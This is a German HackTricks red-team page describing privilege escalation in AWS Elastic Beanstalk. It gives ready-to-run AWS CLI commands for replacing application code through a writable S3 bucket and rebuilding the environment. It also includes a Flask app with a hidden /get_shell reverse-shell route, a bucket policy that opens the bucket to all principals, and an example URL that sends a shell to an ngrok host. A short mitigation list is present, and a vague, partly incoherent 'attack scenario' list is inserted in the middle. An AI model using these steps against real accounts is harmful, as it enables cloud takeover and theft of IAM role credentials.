AWS - Elastic Beanstalk Privesc

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Elastic Beanstalk

Mehr Informationen zu Elastic Beanstalk unter:

pageAWS - Elastic Beanstalk Enum

Um sensible Aktionen in Beanstalk durchzuführen, benötigen Sie viele sensible Berechtigungen in vielen verschiedenen Diensten. Sie können beispielsweise die Berechtigungen überprüfen, die an arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk erteilt wurden.

elasticbeanstalk:RebuildEnvironment, S3-Schreibberechtigungen & viele andere

Mit Schreibberechtigungen über den S3-Bucket, der den Code der Umgebung enthält, und Berechtigungen zum Neuaufbau der Anwendung (es ist elasticbeanstalk:RebuildEnvironment erforderlich und einige weitere in Bezug auf S3, EC2 und Cloudformation), können Sie den Code ändern, die App neu erstellen und beim nächsten Zugriff auf die App wird Ihr neuer Code ausgeführt, was es dem Angreifer ermöglicht, die Anwendung und die IAM-Rollenanmeldeinformationen zu kompromittieren.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, und mehr...

Die genannten sowie mehrere S3, EC2, cloudformation, autoscaling und elasticloadbalancing Berechtigungen sind erforderlich, um ein Raw Elastic Beanstalk-Szenario von Grund auf zu erstellen.

  • Erstellen einer AWS Elastic Beanstalk-Anwendung:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Wenn eine Umgebung bereits erstellt wurde und Sie keine neue erstellen möchten, könnten Sie einfach die bestehende aktualisieren.

  • Verpacken Sie Ihren Anwendungscode und Abhängigkeiten in eine ZIP-Datei:

zip -r MyApp.zip .
  • Lade die ZIP-Datei in einen S3-Bucket hoch:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Erstellen Sie eine AWS Elastic Beanstalk-Anwendungsversion:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Bereitigen Sie die Anwendungsversion in Ihrer AWS Elastic Beanstalk-Umgebung vor:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Zunächst müssen Sie eine legitime Beanstalk-Umgebung mit dem Code erstellen, den Sie im Opfer ausführen möchten, indem Sie den vorherigen Schritten folgen. Möglicherweise ein einfaches Zip mit diesen 2 Dateien:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Berechtigungen

  1. Überprüfen Sie, ob der Benutzer über die Berechtigung iam:PassRole für die Rolle aws-elasticbeanstalk-ec2-role verfügt.

  2. Wenn der Benutzer nicht über die Berechtigung verfügt, um die Rolle zu übernehmen, kann ein Angriff durchgeführt werden, um die Berechtigung zu erhalten.

  3. Überprüfen Sie, ob der Benutzer über die Berechtigung iam:CreateServiceLinkedRole für den Dienst elasticbeanstalk.amazonaws.com verfügt.

  4. Wenn der Benutzer nicht über die Berechtigung verfügt, um die Service-Linked-Rolle zu erstellen, kann ein Angriff durchgeführt werden, um die Berechtigung zu erhalten.

Angriffsszenario

  1. Erstellen Sie eine neue Rolle mit den erforderlichen Berechtigungen.

  2. Weisen Sie der neuen Rolle die Richtlinie AdministratorAccess zu.

  3. Übernehmen Sie die Rolle aws-elasticbeanstalk-ec2-role mithilfe der erstellten Rolle.

  4. Überprüfen Sie, ob die Berechtigung erfolgreich eskaliert wurde, indem Sie auf AWS-Ressourcen zugreifen, die nur von der aws-elasticbeanstalk-ec2-role-Rolle zugänglich sind.

Empfohlene Maßnahmen

  • Überprüfen Sie regelmäßig die Berechtigungen der Benutzer und Rollen in AWS.

  • Vermeiden Sie die Vergabe von zu weitreichenden Berechtigungen, insbesondere AdministratorAccess.

  • Implementieren Sie das Prinzip der minimalen Berechtigungen, um das Risiko von Berechtigungserweiterungen zu verringern.

click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1

Sobald Sie Ihre eigene Beanstalk-Umgebung mit Ihrer Reverse-Shell haben, ist es Zeit, sie in die Umgebung des Opfers zu migrieren. Dazu müssen Sie die Bucket-Richtlinie aktualisieren Ihres Beanstalk S3-Buckets, damit das Opfer darauf zugreifen kann (Beachten Sie, dass dies den Bucket für ALLE öffnet):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated